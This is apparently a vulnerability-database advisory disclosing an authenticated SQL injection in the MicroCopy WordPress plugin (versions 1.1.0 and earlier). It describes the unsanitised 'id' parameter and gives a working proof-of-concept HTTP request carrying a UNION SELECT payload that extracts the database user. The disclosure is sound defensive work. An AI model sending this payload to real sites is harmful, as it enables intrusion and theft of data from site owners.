WordPress Plugin Vulnerabilities
MicroCopy <= 1.1.0 - Authenticated SQL Injection
Description
The edit functionality in the plugin makes a get request to fetch the related option. The id parameter used is not sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection.
Proof of Concept
GET /wp-admin/admin.php?page=microcopy%2Fdetail.php&action=edit&id=-5617%20UNION%20ALL%20SELECT%201,2,user(),3 HTTP/1.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: [admin+] Connection: close
Affects Plugins
References
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Syed Sheeraz Ali of Codevigilant
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-08-22 (about 2 years ago)
Added
2021-08-23 (about 2 years ago)
Last Updated
2022-04-09 (about 2 years ago)